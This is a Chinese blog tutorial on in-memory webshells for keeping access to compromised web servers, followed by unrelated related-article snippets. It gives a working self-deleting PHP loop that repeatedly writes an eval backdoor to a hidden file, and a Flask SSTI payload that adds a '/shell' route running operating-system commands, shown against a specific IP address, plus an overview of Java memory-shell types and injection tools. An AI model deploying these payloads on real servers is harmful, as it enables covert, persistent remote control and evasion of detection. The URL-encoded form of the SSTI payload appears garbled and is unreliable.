146-Web权限维持各语言内存马Servlet-api类Spring类Agent类

ops/2024/9/24 13:21:19/

参考 FlowUs 息流 - 新一代生产力工具

Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。

PHP内存马:

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)

ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)

unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)

file_put_contents函数:将一个字符串写入该文件中

usleep函数:延迟执行当前脚本数微秒,即条件竞争

<?phpignore_user_abort(true);  #访问后哪怕断开连接也任然会运行这段代码set_time_limit(0);@unlink(__FILE__);  #自动删除这个文件,实现隐藏实际在内存中运行$file = '.HH.php';   #这里是为了在Linux中进行隐藏$code = '<?php @eval($_POST[\'c\']); ?>';while (1){file_put_contents($file,$code);usleep(5000);}?>

说是内存马其实算是不死循环马,一直循环写入文件相应的对抗手段也可以使用条件竞争的方式进行处理,即写一个循环删除webshell的代码和他对抗。(如果业务允许重启服务器或者apache进程可以直接重启解决)

Python 内存马:

基于SSTI漏洞注入内存马

param是注入点

http://47.94.236.117:5000/test?param={{urlfor.globals[%27builtins%27]%27eval%27).read())%22,{%27requestctxstack%27:urlfor.globals[%27requestctxstack%27],%27app%27:urlfor.globals[%27currentapp%27]})}}

注入成功后访问

http://47.94.236.117:5000/shell?cmd=ls

进行命令执行

是真正的无文件落地内存马

payload

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

Java内存马:

1、按攻击思路,大致分为:

-Java Instrumentation类(Agent型)

-Servlet-api类(Servlet型、Filter型、Listener型)

-Spring类(Controller型、Interceptor型)

2、按注入的对象分为:tomcat、weblogic、shiro等类型。

注册了Servlet-api类的内存马重启服务器或者对应的tomcat中间件会失效

不过java内存马Servlet-api类型的也都先上传了用来注册内存马的jsp文件还是有文件落地了

内存马的注入一般通过冰蝎哥斯拉等工具进行注入,也有专门的内存马项目脚本使用,对应的一些中间件也有内存马注入的工具。这里就不多说了可以自己去玩一下这些工具。

对于打攻防来说内存马确实是比较好的维持权限的手段。


http://www.ppmy.cn/ops/110719.html

相关文章

系统架构设计师【真题论文】: 论企业集成平台的技术与应用(包括解题思路和经典范文)

更多内容请见: 备考系统架构设计师-核心总结索引 文章目录 真题题目(2015年试题4)解题思路精品范文赏析摘要正文总结真题题目(2015年试题4) 题目:论企业集成平台的技术与应用 企业集成平台是一个支持复杂信息环境下信息系统开发、集成和协同运行的软件支撑环境。它基于各…

Docker容器创建时,无法访问镜像源:Could not connect to archive.ubuntu.com:80

1.问题描述 当基于dockerfile创建容器时&#xff0c;遇到Could not connect to ...、Failed to fetch ...等异常时&#xff0c;大概原因是没有配置好容器创建所需的镜像源。这里以Ubuntu基础镜像源为例。 dockerfile内容 FROM ubuntu RUN apt update && apt install…

将 Parallels Desktop(PD虚拟机)安装在移动硬盘上,有影响吗?

当我们谈论在移动硬盘上安装 Parallels Desktop&#xff08;简称PD虚拟机&#xff09;及其对性能的影响时&#xff0c;特别是在运行如Unigraphics这样的资源密集型软件时&#xff0c;用户需要在便携性与性能之间找到最佳平衡。本文将深入探讨PD虚拟机装在移动硬盘有影响吗&…

web基础之信息泄露

1、目录遍历漏洞 &#xff08;1&#xff09;原理&#xff1a;本质是没有过滤用户输入的 ../ 相关的目录跳转符&#xff0c;使得攻击者通过目录跳转符来遍历服务器中的任意文件。 &#xff08;2&#xff09;题解&#xff1a; eg:根据提示遍历网页目录信息&#xff0c;会在某一个…

使用vuex模仿el-table

1、vuex 在main.js引入 import Vue from vue; import Vuex from vuex;Vue.use(Vuex);const store new Vuex.Store({state: {// 定义要传递的数据datas: []},mutations: {// 定义修改数据的 mutationSET_DATAS(state, newDatas) {state.datas newDatas;}},actions: {// 定义…

# 键盘字母上有下标数字,输入时怎么一键去掉,关闭键盘上的下标数字。‌

键盘字母上有下标数字&#xff0c;输入时怎么一键去掉&#xff0c;关闭键盘上的下标数字。‌ 一、问题描述&#xff1a; 如下图&#xff0c;有的笔记本电脑键盘上&#xff0c;没有数字小键盘&#xff0c;数字小键盘会和字母混和在一起&#xff0c;这样打字时&#xff0c;不容…

python中如何打印日志信息推荐logaid库(强大的日志库)

一、安装 pip install logaid二、使用 只打印&#xff0c;不保存 from logaid import loglog.info(hello world) log.error(hello world) log.warning(hello world) log.fatal(hello world,123,{},[],False)开启超级print from logaid import log log.init(print_proTrue)prin…

ASP.NET Core 入门教学二十三 模型绑定和验证

System.ComponentModel.DataAnnotations 命名空间提供了用于在 .NET 应用程序中进行数据验证和绑定的属性。在 ASP.NET Core 中&#xff0c;这些属性可以与模型绑定和模型验证一起使用&#xff0c;以确保用户输入的数据有效且符合预期的格式。 以下是如何使用 System.Componen…